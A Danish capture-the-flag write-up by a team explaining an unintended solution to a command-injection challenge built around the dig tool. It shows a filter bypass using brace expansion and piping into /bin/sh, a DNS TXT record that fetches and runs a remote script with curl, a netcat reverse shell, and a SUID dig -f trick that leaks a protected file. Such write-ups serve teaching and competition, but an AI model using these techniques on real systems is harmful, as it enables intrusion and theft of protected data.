pyjam.as utiltænkt løsning til FE-CTF

Til FE-CTF: Cyber Demon fandt vi en utiltænkt løsning til Dig Host #3 Bonus. Udfordringen var tænkt som en reversing opgave, men det er vi så dårlige til, at vi måtte finde en anden vej.

Opgave

Man ved fra forrige opgave, at servicen er sårbar overfor command injection. Der er et filter, der gør at man hverken kan indsætte mellemrum, $-tegn eller bindestreger.

Vi tror, at den tiltænkte løsning var at læse det modificerede dig-program ved command injection (f.eks. med ;cat<dig|base64), reverse engineer den og finde en flag-funktion eller lignende. Vores løsning virker også med et uændret dig-program.

Hvadend man sender til servicen, bliver givet til ./dig <dit input>. Hvis man sender ;ls, ser man at cwd indeholder:

/dig [host]
bonus_flag
dig
dig_host_level3.php
flag
styles

Hvis man prøver at læse bonus_flag, får man intet tilbage.

Command Injection med mellemrum

Vi startede vores jagt ved at forsøge at finde en måde at komme uden om filteret. Særligt ville vi gerne sende mellemrum. Vi fandt ud af, at man kan pipe resultatet fra ./dig til /bin/sh. Hvis man f.eks. sender pyjam.as|/bin/sh bliver det til ./dig pyjam.as|/bin/sh.

Det kan selvfølgelig ikke bruges til særligt meget, for resultatet fra dig er ikke just et korrekt shell-program:

; <<>> DiG 9.16.1-Ubuntu <<>> pyjam.as
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11511
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;pyjam.as.			IN	A

;; ANSWER SECTION:
pyjam.as.		60	IN	A	89.150.130.29

;; Query time: 107 msec
;; SERVER: 10.118.64.10#53(10.118.64.10)
;; WHEN: Sat Oct 29 19:31:55 UTC 2022
;; MSG SIZE  rcvd: 53

Vi skal heldigvis kun have den første linje til at være gyldig, før /bin/sh forsøger at eksekvere den. Ved at sætte mange A-records og pipe det gennem tail, kan vi få et resultat hvor vi styrer den første linje, f.eks. pyjam.as|tail|/bin/sh:

pyjam.as.		60	IN	A	89.150.130.29
pyjam.as.		60	IN	A	89.150.130.29
pyjam.as.		60	IN	A	89.150.130.29
pyjam.as.		60	IN	A	89.150.130.29
pyjam.as.		60	IN	A	89.150.130.29

;; Query time: 2736 msec
;; SERVER: 192.168.0.1#53(192.168.0.1) (UDP)
;; WHEN: Sat Oct 29 13:27:20 CEST 2022
;; MSG SIZE  rcvd: 59

Som /bin/sh forsøger at eksekvere:

/bin/sh: 1: pyjam.as.: not found
/bin/sh: 2: pyjam.as.: not found
/bin/sh: 3: pyjam.as.: not found
/bin/sh: 4: pyjam.as.: not found
/bin/sh: 5: pyjam.as.: not found
/bin/sh: 7: Syntax error: ";;" unexpected

Hvis vi kan sætte en TXT record med bash command substitution, så kan vi eksekvere arbitrær kode!

pyjam.as.		60	IN	TXT	"$(echo helloworld)"

For at det skal virke, bliver vi nød til at bede om TXT-records, som man normalt gør med dig TXT pyjam.as, og det kræver mellemrum... MEN! vi fandt ud af at man kan få dig til at gøre det sådan her:

{TXT,pyjam.as}|tail|/bin/sh

Nu kan vi eksekvere kode uden filter, så mangler vi bare en måde at få resultatet tilbage.

Reverse-shell

Vi kan bruge vores code injection med mellemrum til at lave en reverse shell. Vi stjal skrev en i python og satte en masse TXT records:

pyjam.as.		60	IN	TXT	"$(curl http://pyjam.as:1234/sploit | /bin/sh)"

Så lyttede vi på vores reverse shell

$ nc -lvp 1337
listening on [any] 1337 ...

Sendte vores payload afsted:

{TXT,pyjam.as}|tail|/bin/sh

Bum! Så fik vi en shell på serveren.

connect to [192.168.0.57] from 141.203.154.34.bc.googleusercontent.com [34.154.203.141] 2051
/bin/sh: 0: can't access tty; job control turned off
$ whoami
user

Privilegie-eskalering

Nu kan vi køre ls -la og finde ud af, hvorfor vi ikke kunne læse bonus_flag:

$ ls -la
total 844
drwxr-xr-x   1 nobody nogroup   4096 Oct 26 13:26 .
drwxr-xr-x   1 nobody nogroup   4096 Oct 26 13:26 ..
lrwxrwxrwx   1 nobody nogroup      7 Sep 22 16:47 bin -> usr/bin
-r--------   1 200000 nogroup     36 Oct 26 13:14 bonus_flag
drwxr-xr-x   2 nobody nogroup   4096 Apr 15  2020 boot
drwxr-xr-x   5 nobody nogroup    360 Oct 29 05:29 dev
-rwsr-xr-x   1 200000 user    789072 Oct 26 13:14 dig
...

Vi kan se, at det kun er brugeren med UID "200000", som må læse bonus_flag.

Vi kan også se, at /dig-programmet er ejet af samme bruger, og har SUID bitten sat, hvilket betyder at /dig må læse bonus_flag.

Med /dig -h lærte vi om -f-muligheden:

                 -f filename         (batch mode)

-f-muligheden gør at dig læser filen og forsøger at slå hver linje op i DNS, som lækker til stdout!

$ ./dig {-f,bonus_flag}

; <<>> DiG 9.16.1-Ubuntu <<>> flag{wait, i thought this was web!}
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 14415
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

...

✨ Yay, så er der flag!flag{wait, i thought this was web!}